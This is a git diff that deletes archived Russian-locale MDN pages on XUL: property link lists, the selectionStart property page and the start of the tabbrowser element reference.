- <li><a href="/en/XUL/Property/color" title="en/XUL/Property/color">color</a></li>
- <li><a href="/en/XUL/Property/columns" title="en/XUL/Property/columns">columns</a></li>
- <li><a href="/en/XUL/Property/command" title="en/XUL/Property/command">command</a></li>
- <li><a href="/en/XUL/Property/commandManager" title="en/XUL/Property/commandManager">commandManager</a></li>
- <li><a href="/en/XUL/Property/completeDefaultIndex" title="en/XUL/Property/completeDefaultIndex">completeDefaultIndex</a></li>
- <li><a href="/en/XUL/Property/container" title="en/XUL/Property/container">container</a></li>
- <li><a href="/en/XUL/Property/contentDocument" title="en/XUL/Property/contentDocument">contentDocument</a></li>
- <li><a href="/en/XUL/Property/contentPrincipal" title="en/XUL/Property/contentPrincipal">contentPrincipal</a></li>
- <li><a href="/en/XUL/Property/contentTitle" title="en/XUL/Property/contentTitle">contentTitle</a></li>
- <li><a href="/en/XUL/Property/contentView" title="en/XUL/Property/contentView">contentView</a></li>
- <li><a href="/en/XUL/Property/contentViewerEdit" title="en/XUL/Property/contentViewerEdit">contentViewerEdit</a></li>
- <li><a href="/en/XUL/Property/contentViewerFile" title="en/XUL/Property/contentViewerFile">contentViewerFile</a></li>
- <li><a href="/en/XUL/Property/contentWindow" title="en/XUL/Property/contentWindow">contentWindow</a></li>
- <li><a href="/en/XUL/Property/contextMenu" title="en/XUL/Property/contextMenu">contextMenu</a></li>
- <li><a href="/en/XUL/Property/control" title="en/XUL/Property/control">control</a></li>
- <li><a href="/en/XUL/Property/controller" title="en/XUL/Property/controller">controller</a></li>
- <li><a href="/en/XUL/Property/controllers" title="en/XUL/Property/controllers">controllers</a></li>
- <li><a href="/en/XUL/Property/crop" title="en/XUL/Property/crop">crop</a></li>
- <li><a href="/en/XUL/Property/current" title="en/XUL/Property/current">current</a></li>
- <li><a href="/en/XUL/Property/currentIndex" title="en/XUL/Property/currentIndex">currentIndex</a></li>
- <li><a href="/en/XUL/Property/currentItem" title="en/XUL/Property/currentItem">currentItem</a></li>
- <li><a href="/en/XUL/Property/currentNotification" title="en/XUL/Property/currentNotification">currentNotification</a></li>
- <li><a href="/en/XUL/Property/currentPage" title="en/XUL/Property/currentPage">currentPage</a></li>
- <li><a href="/en/XUL/Property/currentPane" title="en/XUL/Property/currentPane">currentPane</a></li>
- <li><a href="/en/XUL/Property/currentSet" title="en/XUL/Property/currentSet">currentSet</a></li>
- <li><a href="/en/XUL/Property/currentURI" title="en/XUL/Property/currentURI">currentURI</a></li>
- <li><a href="/en/XUL/Property/customToolbarCount" title="en/XUL/Property/customToolbarCount">customToolbarCount</a></li>
- <li><a href="/en/XUL/Property/database" title="en/XUL/Property/database">database</a></li>
- <li><a href="/en/XUL/Property/datasources" title="en/XUL/Property/datasources">datasources</a></li>
- <li><a href="/en/XUL/Property/date" title="en/XUL/Property/date">date</a></li>
- <li><a href="/en/XUL/Property/dateLeadingZero" title="en/XUL/Property/dateLeadingZero">dateLeadingZero</a></li>
- <li><a href="/en/XUL/Property/dateValue" title="en/XUL/Property/dateValue">dateValue</a></li>
- <li><a href="/en/XUL/Property/decimalPlaces" title="en/XUL/Property/decimalPlaces">decimalPlaces</a></li>
- <li><a href="/en/XUL/Property/decimalSymbol" title="en/XUL/Property/decimalSymbol">decimalSymbol</a></li>
- <li><a href="/en/XUL/Property/defaultButton" title="en/XUL/Property/defaultButton">defaultButton</a></li>
- <li><a href="/en/XUL/Property/defaultValue" title="en/XUL/Property/defaultValue">defaultValue</a></li>
- <li><a href="/en/XUL/Property/description" title="en/XUL/Property/description">description</a></li>
- <li><a href="/en/XUL/Property/dir" title="en/XUL/Property/dir">dir</a></li>
- <li><a href="/en/XUL/Property/disableAutocomplete" title="en/XUL/Property/disableAutocomplete">disableAutocomplete</a></li>
- <li><a href="/en/XUL/Property/disableAutocomplete" title="en/XUL/Property/disableAutocomplete">disableAutoComplete</a></li>
- <li><a href="/en/XUL/Property/disableautoselect" title="en/XUL/Property/disableautoselect">disableautoselect</a></li>
- <li><a href="/en/XUL/Property/disabled" title="en/XUL/Property/disabled">disabled</a></li>
- <li><a href="/en/XUL/Property/disableKeyNavigation" title="en/XUL/Property/disableKeyNavigation">disableKeyNavigation</a></li>
- <li><a href="/en/XUL/Property/dlgType" title="en/XUL/Property/dlgType">dlgType</a></li>
- <li><a href="/en/XUL/Property/docShell" title="en/XUL/Property/docShell">docShell</a></li>
- <li><a href="/en/XUL/Property/documentCharsetInfo" title="en/XUL/Property/documentCharsetInfo">documentCharsetInfo</a></li>
- <li><a href="/en/XUL/Property/editable" title="en/XUL/Property/editable">editable</a></li>
- <li><a href="/en/XUL/Property/editingColumn" title="en/XUL/Property/editingColumn">editingColumn</a></li>
- <li><a href="/en/XUL/Property/editingRow" title="en/XUL/Property/editingRow">editingRow</a></li>
- <li><a href="/en/XUL/Property/editingSession" title="en/XUL/Property/editingSession">editingSession</a></li>
- <li><a href="/en/XUL/Property/editor" title="en/XUL/Property/editor">editor</a></li>
- <li><a href="/en/XUL/Property/editortype" title="en/XUL/Property/editortype">editortype</a></li>
- <li><a href="/en/XUL/Property/emptyText" title="en/XUL/Property/emptyText">emptyText</a> <span class="inlineIndicator deprecated deprecatedInline" title="(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)">Устарело Gecko 2</span></li>
- <li><a href="/en/XUL/Property/enableColumnDrag" title="en/XUL/Property/enableColumnDrag">enableColumnDrag</a></li>
- <li><a href="/en/XUL/Property/eventNode" title="en/XUL/Property/eventNode">eventNode</a></li>
- <li><a href="/en/XUL/Property/firstOrdinalColumn" title="en/XUL/Property/firstOrdinalColumn">firstOrdinalColumn</a></li>
- <li><a href="/en/XUL/Property/firstPermanentChild" title="en/XUL/Property/firstPermanentChild">firstPermanentChild</a></li>
- <li><a href="/en/XUL/Property/flex" title="en/XUL/Property/flex">flex</a></li>
- <li><a href="/en/XUL/Property/focused" title="en/XUL/Property/focused">focused</a></li>
- <li><a href="/en/XUL/Property/focusedItem" title="en/XUL/Property/focusedItem">focusedItem</a></li>
- <li><a href="/en/XUL/Property/forceComplete" title="en/XUL/Property/forceComplete">forceComplete</a></li>
- <li><a href="/en/XUL/Property/group" title="en/XUL/Property/group">group</a></li>
- <li><a href="/en/XUL/Property/handleCtrlPageUpDown" title="en/XUL/Property/handleCtrlPageUpDown">handleCtrlPageUpDown</a></li>
- <li><a href="/en/XUL/Property/handleCtrlTab" title="en/XUL/Property/handleCtrlTab">handleCtrlTab</a></li>
- <li><a href="/En/XUL/Property/HasUserValue" title="en/XUL/Property/hasUserValue">hasUserValue</a></li>
- <li><a href="/en/XUL/Property/height" title="en/XUL/Property/height">height</a></li>
- <li><a href="/en/XUL/Property/hidden" title="en/XUL/Property/hidden">hidden</a></li>
- <li><a href="/en/XUL/Property/hideSeconds" title="en/XUL/Property/hideSeconds">hideSeconds</a></li>
- <li><a href="/En/XUL/Property/HighlightNonMatches" title="en/XUL/Property/highlightNonMatches">highlightNonMatches</a> </li>
- <li><a href="/en/XUL/Property/homePage" title="en/XUL/Property/homePage">homePage</a></li>
- <li><a href="/en/XUL/Property/hour" title="en/XUL/Property/hour">hour</a></li>
- <li><a href="/en/XUL/Property/hourLeadingZero" title="en/XUL/Property/hourLeadingZero">hourLeadingZero</a></li>
- <li><a href="/en/XUL/Property/id" title="en/XUL/Property/id">id</a></li>
- <li><a href="/en/XUL/Property/ignoreBlurWhileSearching" title="en/XUL/Property/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></li>
- <li><a href="/en/XUL/Property/image" title="en/XUL/Property/image">image</a></li>
- <li><a href="/en/XUL/Property/increment" title="en/XUL/Property/increment">increment</a></li>
- <li><a href="/en/XUL/Property/inputField" title="en/XUL/Property/inputField">inputField</a></li>
- <li><a href="/en/XUL/Property/inverted" title="en/XUL/Property/inverted">inverted</a></li>
- <li><a href="/en/XUL/Property/is24HourClock" title="en/XUL/Property/is24HourClock">is24HourClock</a></li>
- <li><a href="/en/XUL/Property/isPM" title="en/XUL/Property/isPM">isPM</a></li>
- <li><a href="/en/XUL/Property/isSearching" title="en/XUL/Property/isSearching">isSearching</a></li>
- <li><a href="/en/XUL/Property/isWaiting" title="en/XUL/Property/isWaiting">isWaiting</a></li>
- <li><a href="/en/XUL/Property/itemCount" title="en/XUL/Property/itemCount">itemCount</a></li>
- <li><a href="/en/XUL/Property/label" title="en/XUL/Property/label">label</a></li>
- <li><a href="/en/XUL/Property/labelElement" title="en/XUL/Property/labelElement">labelElement</a></li>
- <li><a href="/en/XUL/Property/lastPermanentChild" title="en/XUL/Property/lastPermanentChild">lastPermanentChild</a></li>
- <li><a href="/en/XUL/Property/lastSelected" title="en/XUL/Property/lastSelected">lastSelected</a></li>
- <li><a href="/en/XUL/Property/left" title="en/XUL/Property/left">left</a></li>
- <li><a href="/en/XUL/Property/linkedPanel" title="en/XUL/Property/linkedPanel">linkedPanel</a></li>
- <li><a href="/en/XUL/Property/listBoxObject" title="en/XUL/Property/listBoxObject">listBoxObject</a></li>
- <li><a href="/en/XUL/Property/locked" title="en/XUL/Property/locked">locked</a></li>
- <li><a href="/en/XUL/Property/markupDocumentViewer" title="en/XUL/Property/markupDocumentViewer">markupDocumentViewer</a></li>
- <li><a href="/en/XUL/Property/max" title="en/XUL/Property/max">max</a></li>
- <li><a href="/en/XUL/Property/maxHeight" title="en/XUL/Property/maxHeight">maxHeight</a></li>
- <li><a href="/en/XUL/Property/maxLength" title="en/XUL/Property/maxLength">maxLength</a></li>
- <li><a href="/en/XUL/Property/maxRows" title="en/XUL/Property/maxRows">maxRows</a></li>
- <li><a href="/en/XUL/Property/maxWidth" title="en/XUL/Property/maxWidth">maxWidth</a></li>
- <li><a href="/en/XUL/Property/menu" title="en/XUL/Property/menu">menu</a></li>
- <li><a href="/en/XUL/Property/menuBoxObject" title="en/XUL/Property/menuBoxObject">menuBoxObject</a></li>
- <li><a href="/en/XUL/Property/menupopup" title="en/XUL/Property/menupopup">menupopup</a></li>
- <li><a href="/en/XUL/Property/min" title="en/XUL/Property/min">min</a></li>
- <li><a href="/en/XUL/Property/minHeight" title="en/XUL/Property/minHeight">minHeight</a></li>
- <li><a href="/en/XUL/Property/minResultsForPopup" title="en/XUL/Property/minResultsForPopup">minResultsForPopup</a></li>
- <li><a href="/en/XUL/Property/minWidth" title="en/XUL/Property/minWidth">minWidth</a></li>
- <li><a href="/en/XUL/Property/minute" title="en/XUL/Property/minute">minute</a></li>
- <li><a href="/en/XUL/Property/minuteLeadingZero" title="en/XUL/Property/minuteLeadingZero">minuteLeadingZero</a></li>
- <li><a href="/en/XUL/Property/mode" title="en/XUL/Property/mode">mode</a></li>
- <li><a href="/en/XUL/Property/month" title="en/XUL/Property/month">month</a></li>
- <li><a href="/en/XUL/Property/monthLeadingZero" title="en/XUL/Property/monthLeadingZero">monthLeadingZero</a></li>
- <li><a href="/en/XUL/Property/name" title="en/XUL/Property/name">name</a></li>
- <li><a href="/en/XUL/Property/next" title="en/XUL/Property/next">next</a></li>
- <li><a href="/en/XUL/Property/noMatch" title="en/XUL/Property/noMatch">noMatch</a></li>
- <li><a href="/en/XUL/Property/notificationsHidden" title="en/XUL/Property/notificationsHidden">notificationsHidden</a></li>
- <li><a href="/en/XUL/Property/object" title="en/XUL/Property/object">object</a></li>
- <li><a href="/en/XUL/Property/observes" title="en/XUL/Property/observes">observes</a></li>
- <li><a href="/en/XUL/Property/onFirstPage" title="en/XUL/Property/onFirstPage">onFirstPage</a></li>
- <li><a href="/en/XUL/Property/onLastPage" title="en/XUL/Property/onLastPage">onLastPage</a></li>
- <li><a href="/en/XUL/Property/open" title="en/XUL/Property/open">open</a></li>
- <li><a href="/en/XUL/Property/ordinal" title="en/XUL/Property/ordinal">ordinal</a></li>
- <li><a href="/en/XUL/Property/orient" title="en/XUL/Property/orient">orient</a></li>
- <li><a href="/en/XUL/Property/pack" title="en/XUL/Property/pack">pack</a></li>
- <li><a href="/en/XUL/Property/pageCount" title="en/XUL/Property/pageCount">pageCount</a></li>
- <li><a href="/en/XUL/Property/pageid" title="en/XUL/Property/pageid">pageid</a></li>
- <li><a href="/en/XUL/Property/pageIncrement" title="en/XUL/Property/pageIncrement">pageIncrement</a></li>
- <li><a href="/en/XUL/Property/pageIndex" title="en/XUL/Property/pageIndex">pageIndex</a></li>
- <li><a href="/en/XUL/Property/pageStep" title="en/XUL/Property/pageStep">pageStep</a></li>
- <li><a href="/en/XUL/Property/parentContainer" title="en/XUL/Property/parentContainer">parentContainer</a></li>
- <li><a href="/en/XUL/Property/palette" title="en/XUL/Property/palette">palette</a></li>
- <li><a href="/en/XUL/Property/persist" title="en/XUL/Property/persist">persist</a></li>
- <li><a href="/en/XUL/Property/persistence" title="en/XUL/Property/persistence">persistence</a></li>
- <li><a href="/en/XUL/Property/placeholder" title="en/XUL/Property/placeholder">placeholder</a> </li>
- <li><a href="/en/XUL/Property/pmIndicator" title="en/XUL/Property/pmIndicator">pmIndicator</a></li>
- <li><a href="/en/XUL/Property/popup" title="en/XUL/Property/popup">popup</a></li>
- <li><a href="/en/XUL/Property/popupBoxObject" title="en/XUL/Property/popupBoxObject">popupBoxObject</a></li>
- <li><a href="/en/XUL/Property/popupOpen" title="en/XUL/Property/popupOpen">popupOpen</a></li>
- <li><a href="/en/XUL/Property/position" title="en/XUL/Property/position">position</a></li>
- <li><a href="/en/XUL/Property/predicate" title="en/XUL/Property/predicate">predicate</a></li>
- <li><a href="/en/XUL/Property/preferenceElements" title="en/XUL/Property/preferenceElements">preferenceElements</a></li>
- <li><a href="/en/XUL/Property/preferencePanes" title="en/XUL/Property/preferencePanes">preferencePanes</a></li>
- <li><a href="/en/XUL/Property/preferences" title="en/XUL/Property/preferences">preferences</a></li>
- <li><a href="/en/XUL/Property/priority" title="en/XUL/Property/priority">priority</a></li>
- <li><a href="/en/XUL/Property/radioGroup" title="en/XUL/Property/radioGroup">radioGroup</a></li>
- <li><a href="/en/XUL/Property/readOnly" title="en/XUL/Property/readOnly">readonly</a></li>
- <li><a href="/en/XUL/Property/readOnly" title="en/XUL/Property/readOnly">readOnly</a></li>
- <li><a href="/en/XUL/Property/ref" title="en/XUL/Property/ref">ref</a></li>
- <li><a href="/en/XUL/Property/resource" title="en/XUL/Property/resource">resource</a></li>
- <li><a href="/en/XUL/Property/resultsPopup" title="en/XUL/Property/resultsPopup">resultsPopup</a></li>
- <li><a href="/en/XUL/Property/scrollBoxObject" title="en/XUL/Property/scrollBoxObject">scrollBoxObject</a></li>
- <li><a href="/en/XUL/Property/scrollIncrement" title="en/XUL/Property/scrollIncrement">scrollIncrement</a></li>
- <li><a class="internal" href="/en/XUL/Property/scrollHeight" title="en/XUL/Property/scrollHeight">scrollHeight</a> </li>
- <li><a class="internal" href="/en/XUL/Property/scrollWidth" title="en/XUL/Property/scrollWidth">scrollWidth</a> </li>
- <li><a href="/En/XUL/Property/SearchButton" title="en/XUL/Property/searchButton">searchButton</a></li>
- <li><a href="/en/XUL/Property/searchCount" title="en/XUL/Property/searchCount">searchCount</a></li>
- <li><a href="/en/XUL/Property/searchLabel" title="en/XUL/Property/searchLabel">searchLabel</a></li>
- <li><a href="/en/XUL/Property/searchParam" title="en/XUL/Property/searchParam">searchParam</a></li>
- <li><a href="/en/XUL/Property/searchSessions" title="en/XUL/Property/searchSessions">searchSessions</a></li>
- <li><a href="/en/XUL/Property/second" title="en/XUL/Property/second">second</a></li>
- <li><a href="/en/XUL/Property/secondLeadingZero" title="en/XUL/Property/secondLeadingZero">secondLeadingZero</a></li>
- <li><a href="/en/XUL/Property/securityUI" title="en/XUL/Property/securityUI">securityUI</a></li>
- <li><a href="/en/XUL/Property/selected" title="en/XUL/Property/selected">selected</a></li>
- <li><a href="/en/XUL/Property/selectedBrowser" title="en/XUL/Property/selectedBrowser">selectedBrowser</a></li>
- <li><a href="/en/XUL/Property/selectedCount" title="en/XUL/Property/selectedCount">selectedCount</a></li>
- <li><a href="/en/XUL/Property/selectedIndex" title="en/XUL/Property/selectedIndex">selectedIndex</a></li>
- <li><a href="/en/XUL/Property/selectedItem" title="en/XUL/Property/selectedItem">selectedItem</a></li>
- <li><a href="/en/XUL/Property/selectedItems" title="en/XUL/Property/selectedItems">selectedItems</a></li>
- <li><a href="/en/XUL/Property/selectedPanel" title="en/XUL/Property/selectedPanel">selectedPanel</a></li>
- <li><a href="/en/XUL/Property/selectedTab" title="en/XUL/Property/selectedTab">selectedTab</a></li>
- <li><a href="/en/XUL/Property/selectionEnd" title="en/XUL/Property/selectionEnd">selectionEnd</a></li>
- <li><a href="/en/XUL/Property/selectionStart" title="en/XUL/Property/selectionStart">selectionStart</a></li>
- <li><a href="/en/XUL/Property/selstyle" title="en/XUL/Property/selstyle">selstyle</a></li>
- <li><a href="/en/XUL/Property/selType" title="en/XUL/Property/selType">selType</a></li>
- <li><a href="/en/XUL/Property/sessionCount" title="en/XUL/Property/sessionCount">sessionCount</a></li>
- <li><a href="/en/XUL/Property/sessionHistory" title="en/XUL/Property/sessionHistory">sessionHistory</a></li>
- <li><a href="/en/XUL/Property/showCommentColumn" title="en/XUL/Property/showCommentColumn">showCommentColumn</a></li>
- <li><a href="/en/XUL/Property/showPopup" title="en/XUL/Property/showPopup">showPopup</a></li>
- <li><a href="/en/XUL/Property/size" title="en/XUL/Property/size">size</a></li>
- <li><a href="/en/XUL/Property/smoothScroll" title="en/XUL/Property/smoothScroll">smoothScroll</a></li>
- <li><a href="/en/XUL/Property/spinButtons" title="en/XUL/Property/spinButtons">spinButtons</a></li>
- <li><a href="/en/XUL/Property/src" title="en/XUL/Property/src">src</a></li>
- <li><a href="/en/XUL/Property/state" title="en/XUL/Property/state">state</a></li>
- <li><a href="/en/XUL/Property/statusbar" title="en/XUL/Property/statusbar">statusbar</a></li>
- <li><a href="/en/XUL/Property/statusText" title="en/XUL/Property/statusText">statusText</a></li>
- <li><a href="/en/XUL/Property/stringBundle" title="en/XUL/Property/stringBundle">stringBundle</a></li>
- <li><a href="/en/XUL/Property/strings" title="en/XUL/Property/strings">strings</a></li>
- <li><a href="/en/XUL/Property/style" title="en/XUL/Property/style">style</a></li>
- <li><a href="/en/XUL/Property/subject" title="en/XUL/Property/subject">subject</a></li>
- <li><a href="/en/XUL/Property/suppressOnSelect" title="en/XUL/Property/suppressOnSelect">suppressOnSelect</a></li>
- <li><a href="/en/XUL/Property/tabContainer" title="en/XUL/Property/tabContainer">tabContainer</a></li>
- <li><a href="/en/XUL/Property/tabIndex" title="en/XUL/Property/tabIndex">tabIndex</a></li>
- <li><a href="/en/XUL/Property/tabs" title="en/XUL/Property/tabs">tabs</a></li>
- <li><a href="/en/XUL/Property/tabScrolling" title="en/XUL/Property/tabScrolling">tabScrolling</a></li>
- <li><a href="/en/XUL/Property/tabpanels" title="en/XUL/Property/tabpanels">tabpanels</a></li>
- <li><a href="/en/XUL/Property/tag" title="en/XUL/Property/tag">tag</a></li>
- <li><a href="/en/XUL/Property/textLength" title="en/XUL/Property/textLength">textLength</a></li>
- <li><a href="/en/XUL/Property/textValue" title="en/XUL/Property/textValue">textValue</a></li>
- <li><a href="/en/XUL/Property/timeout" title="en/XUL/Property/timeout">timeout</a></li>
- <li><a href="/en/XUL/Property/title" title="en/XUL/Property/title">title</a></li>
- <li><a href="/en/XUL/Property/toolbarName" title="en/XUL/Property/toolbarName">toolbarName</a></li>
- <li><a href="/en/XUL/Property/toolbarset" title="en/XUL/Property/toolbarset">toolbarset</a></li>
- <li><a href="/en/XUL/Property/tooltip" title="en/XUL/Property/tooltip">tooltip</a></li>
- <li><a href="/en/XUL/Property/tooltipText" title="en/XUL/Property/tooltipText">tooltipText</a></li>
- <li><a href="/en/XUL/Property/top" title="en/XUL/Property/top">top</a></li>
- <li><a href="/en/XUL/Property/treeBoxObject" title="en/XUL/Property/treeBoxObject">treeBoxObject</a></li>
- <li><a href="/en/XUL/Property/type" title="en/XUL/Property/type">type</a></li>
- <li><a href="/en/XUL/Property/uri" title="en/XUL/Property/uri">uri</a></li>
- <li><a href="/en/XUL/Property/userAction" title="en/XUL/Property/userAction">userAction</a></li>
- <li><a href="/en/XUL/Property/value" title="en/XUL/Property/value">value</a></li>
- <li><a href="/en/XUL/Property/valueNumber" title="en/XUL/Property/valueNumber">valueNumber</a></li>
- <li><a href="/en/XUL/Property/view" title="en/XUL/Property/view">view</a></li>
- <li><a href="/en/XUL/Property/webBrowserFind" title="en/XUL/Property/webBrowserFind">webBrowsereFind</a></li>
- <li><a href="/en/XUL/Property/webNavigation" title="en/XUL/Property/webNavigation">webNavigation</a></li>
- <li><a href="/en/XUL/Property/webProgress" title="en/XUL/Property/webProgress">webProgress</a></li>
- <li><a href="/en/XUL/Property/width" title="en/XUL/Property/width">width</a></li>
- <li><a href="/en/XUL/Property/wizardPages" title="en/XUL/Property/wizardPages">wizardPages</a></li>
- <li><a href="/en/XUL/Property/wrapAround" title="en/XUL/Property/wrapAround">wrapAround</a></li>
- <li><a href="/en/XUL/Property/year" title="en/XUL/Property/year">year</a></li>
- <li><a href="/en/XUL/Property/yearLeadingZero" title="en/XUL/Property/yearLeadingZero">yearLeadingZero</a></li>
-</ul>
-<h3 id="Related_DOM_element_properties" name="Related_DOM_element_properties">Related DOM element properties</h3>
-<ul>
- <li><a href="/En/DOM/Node.attributes" title="en/DOM/element.attributes">DOM:element.attributes</a></li>
- <li><a href="/En/DOM/Node.baseURI" title="En/DOM/element.baseURI">DOM:element.baseURI</a></li>
- <li><a href="/En/DOM/Element.childElementCount" title="En/DOM/element.childElementCount">DOM:element.childElementCount</a></li>
- <li><a href="/En/DOM/Node.childNodes" title="en/DOM/element.childNodes">DOM:element.childNodes</a></li>
- <li><a href="/En/DOM/Element.children" title="en/DOM/element.children">DOM:element.children</a></li>
- <li><a href="/en/DOM/element.clientHeight" title="en/DOM/element.clientHeight">DOM:element.clientHeight</a></li>
- <li><a href="/en/DOM/element.clientLeft" title="en/DOM/element.clientLeft">DOM:element.clientLeft</a></li>
- <li><a href="/en/DOM/element.clientTop" title="en/DOM/element.clientTop">DOM:element.clientTop</a></li>
- <li><a href="/en/DOM/element.clientWidth" title="en/DOM/element.clientWidth">DOM:element.clientWidth</a></li>
- <li><a href="/En/DOM/Node.cloneNode" title="en/DOM/element.cloneNode">DOM:element.cloneNode</a></li>
- <li><a href="/En/DOM/Node.firstChild" title="en/DOM/element.firstChild">DOM:element.firstChild</a></li>
- <li><a href="/En/DOM/Element.firstElementChild" title="en/DOM/element.firstElementChild">DOM:element.firstElementChild</a></li>
- <li><a href="/En/DOM/Node.lastChild" title="en/DOM/element.lastChild">DOM:element.lastChild</a></li>
- <li><a href="/En/DOM/Element.lastElementChild" title="en/DOM/element.lastElementChild">DOM:element.lastElementChild</a></li>
- <li><a href="/En/DOM/Node.localName" title="en/DOM/element.localName">DOM:element.localName</a></li>
- <li><a href="/En/DOM/Node.namespaceURI" title="en/DOM/element.namespaceURI">DOM:element.namespaceURI</a></li>
- <li><a href="/En/DOM/Element.nextElementSibling" title="en/DOM/element.nextElementSibling">DOM:element.nextElementSibling</a></li>
- <li><a href="/En/DOM/Node.nextSibling" title="en/DOM/element.nextSibling">DOM:element.nextSibling</a></li>
- <li><a href="/En/DOM/Node.nodeName" title="en/DOM/element.nodeName">DOM:element.nodeName</a></li>
- <li><a href="/En/DOM/Node.nodeType" title="en/DOM/element.nodeType">DOM:element.nodeType</a></li>
- <li><a href="/En/DOM/Node.nodeValue" title="en/DOM/element.nodeValue">DOM:element.nodeValue</a></li>
- <li><a href="/En/DOM/Node.ownerDocument" title="en/DOM/element.ownerDocument">DOM:element.ownerDocument</a></li>
- <li><a href="/En/DOM/Node.parentNode" title="en/DOM/element.parentNode">DOM:element.parentNode</a></li>
- <li><a href="/En/DOM/Node.prefix" title="en/DOM/element.prefix">DOM:element.prefix</a></li>
- <li><a href="/En/DOM/Element.previousElementSibling" title="en/DOM/element.previousElementSibling">DOM:element.previousElementSibling</a></li>
- <li><a href="/En/DOM/Node.previousSibling" title="en/DOM/element.previousSibling">DOM:element.previousSibling</a></li>
- <li><a href="/en/DOM/element.scrollHeight" title="en/DOM/element.scrollHeight">DOM:element.scrollHeight</a></li>
- <li><a href="/en/DOM/element.scrollLeft" title="en/DOM/element.scrollLeft">DOM:element.scrollLeft</a></li>
- <li><a href="/en/DOM/element.scrollTop" title="en/DOM/element.scrollTop">DOM:element.scrollTop</a></li>
- <li><a href="/en/DOM/element.scrollWidth" title="en/DOM/element.scrollWidth">DOM:element.scrollWidth</a></li>
- <li><a href="/en/DOM/element.tagName" title="en/DOM/element.tagName">DOM:element.tagName</a></li>
- <li><a href="/En/DOM/Node.textContent" title="en/DOM/element.textContent">DOM:element.textContent</a></li>
-</ul>
diff --git a/files/ru/mozilla/tech/xul/property/selectionstart/index.html b/files/ru/mozilla/tech/xul/property/selectionstart/index.html
deleted file mode 100644
index 4a5ba34fdc..0000000000
--- a/files/ru/mozilla/tech/xul/property/selectionstart/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: selectionStart
-slug: Mozilla/Tech/XUL/Property/selectionStart
-translation_of: Archive/Mozilla/XUL/Property/selectionStart
----
-<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/ru/docs/XUL/Справочник" title="XUL/Справочник">XUL Справочник</a></span></div>
-
-<dl>
- <dt><code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/selectionStart">selectionStart</a></span></code></dt>
- <dd>Тип: <em>integer</em></dd>
- <dd>Получает или устанавливает начало выделения области текста в поле ввода. Используется в паре со свойством <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/selectionEnd">selectionEnd</a></span></code>. Значение указывает на порядковый номер первого символа в выделенном фрагменте относительно всего текста.</dd>
-</dl>
-
-<div class="noinclude">
-<p></p>
-</div>
diff --git a/files/ru/mozilla/tech/xul/tabbrowser/index.html b/files/ru/mozilla/tech/xul/tabbrowser/index.html
deleted file mode 100644
index 90f858cfeb..0000000000
--- a/files/ru/mozilla/tech/xul/tabbrowser/index.html
+++ /dev/null
@@ -1,235 +0,0 @@
----
-title: tabbrowser
-slug: Mozilla/Tech/XUL/tabbrowser
-translation_of: Archive/Mozilla/XUL/tabbrowser
----
-<div class="noinclude">
- <span class="breadcrumbs XULRef_breadcrumbs">
- « <a href="/ru/docs/XUL/Справочник">Справочник по XUL</a> [
- <a href="#Examples">Примеры</a> |
- <a href="#Атрибуты">Атрибуты</a> |
- <a href="#Property">Свойства</a> |
- <a href="#Методы">Методы</a> |
- <a href="#Related">См. также</a> ]
-</span></div>
-<p>This element is used for holding a set of read-only views of Web documents. It is similar to the <code><a href="/ru/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> element, except that multiple documents can be displayed, each in a separate tab.</p>
-<p></p><div class="blockIndicator note"><strong>Примечание:</strong> Starting in Firefox 3 (XULRunner/Gecko 1.9), this is only used in the main Firefox window and cannot be used in other XUL windows by third-party applications or extensions.</div><p></p>
-<dl>
- <dt>
- Attributes</dt>
- <dd>
- <a href="#a-autocompleteenabled">autocompleteenabled</a>, <a href="#a-autocompletepopup">autocompletepopup</a>, <a href="#a-autoscroll">autoscroll</a>, <a href="#a-contentcontextmenu">contentcontextmenu</a>, <a href="#a-contenttooltip">contenttooltip</a>, <a href="#a-handleCtrlPageUpDown">handleCtrlPageUpDown</a>, <a href="#a-onbookmarkgroup">onbookmarkgroup</a>, <a href="#a-onnewtab">onnewtab</a>, <a href="#a-tabmodalPromptShowing">tabmodalPromptShowing</a></dd>
-</dl>
-<dl>
- <dt>
- Properties</dt>
- <dd>
- <a href="#p-browsers">browsers</a>, <a href="#p-canGoBack">canGoBack</a>, <a href="#p-canGoForward">canGoForward</a>, <a href="#p-contentDocument">contentDocument</a>, <a href="#p-contentTitle">contentTitle</a>, <a href="#p-contentViewerEdit">contentViewerEdit</a>, <a href="#p-contentViewerFile">contentViewerFile</a>, <a href="#p-contentWindow">contentWindow</a>, <a href="#p-currentURI">currentURI</a>, <a href="#p-docShell">docShell</a>, <a href="#p-documentCharsetInfo">documentCharsetInfo</a>, <a href="#p-homePage">homePage</a>, <a href="#p-markupDocumentViewer">markupDocumentViewer</a>, <a href="#p-securityUI">securityUI</a>, <a href="#p-selectedBrowser">selectedBrowser</a>, <a href="#p-selectedTab">selectedTab</a>, <a href="#p-sessionHistory">sessionHistory</a>, <a href="#p-tabContainer">tabContainer</a>, <a href="#p-tabbrowser.tabs">tabs</a>, <a href="#p-visibleTabs">visibleTabs</a>, <a href="#p-webBrowserFind">webBrowserFind</a>, <a href="#p-webNavigation">webNavigation</a>, <a href="#p-webProgress">webProgress</a></dd>
-</dl>
-<dl>
- <dt>
- Methods</dt>
- <dd>
- <a href="#m-addProgressListener">addProgressListener</a>, <a href="#m-addTab">addTab</a>, <a href="#m-addTabsProgressListener">addTabsProgressListener</a>,<a href="#m-appendGroup">appendGroup</a>, <a href="#m-getBrowserAtIndex">getBrowserAtIndex</a>, <a href="#m-getBrowserIndexForDocument">getBrowserIndexForDocument</a>, <a href="#m-getBrowserForDocument">getBrowserForDocument</a>, <a href="#m-getBrowserForTab">getBrowserForTab</a>, <a href="#m-getIcon">getIcon</a>, <a href="#m-getNotificationBox">getNotificationBox</a>, <a href="#m-getTabForBrowser">getTabForBrowser</a>, <a href="#m-getTabModalPromptBox">getTabModalPromptBox</a>, <a href="#m-goBack">goBack</a>, <a href="#m-goBackGroup">goBackGroup</a>, <a href="#m-goForward">goForward</a>, <a href="#m-goForwardGroup">goForwardGroup</a>, <a href="#m-goHome">goHome</a>, <a href="#m-gotoIndex">gotoIndex</a>, <a href="#m-loadGroup">loadGroup</a>, <a href="#m-loadOneTab">loadOneTab</a>, <a 